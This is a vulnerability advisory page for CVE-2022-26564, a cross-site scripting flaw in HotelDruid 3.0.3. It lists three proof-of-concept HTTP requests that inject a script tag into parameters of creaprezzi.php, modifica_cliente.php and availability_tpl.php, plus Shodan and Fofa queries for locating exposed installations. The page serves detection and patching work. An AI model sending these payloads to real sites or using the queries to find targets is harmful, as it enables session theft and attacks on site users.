🔙 목록으로 돌아가기

CVE-2022-26564: HotelDruid Hotel Management Software 3.0.3 - Cross-Site Scripting

TitleHotelDruid Hotel Management Software 3.0.3 - Cross-Site Scripting
Authoralexrydzak
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.00684
CVE IDCVE-2022-26564
CWE IDCWE-79
Shodan Queryhttp.favicon.hash:-1521640213http.title:"hoteldruid"
Fofa Querytitle="hoteldruid"icon_hash=-1521640213
Tags cve cve2022 hoteldruid xss digitaldruid vuln

🔍 Vulnerability Description

HotelDruid Hotel Management Software 3.0.3 contains a cross-site scripting vulnerability via the prezzoperiodo4 parameter in creaprezzi.php.

🌐 HTTP Request

GET /creaprezzi.php?prezzoperiodo4=%22><script>javascript:alert(%27XSS%27)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /modifica_cliente.php?tipo_tabella=%22><script>javascript:alert(%27XSS%27)</script>&idclienti=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /dati/availability_tpl.php?num_app_tipo_richiesti1=%22><script>javascript:alert(%27XSS%27)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/2008052906 Firefox/3.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-26564.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-26564.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A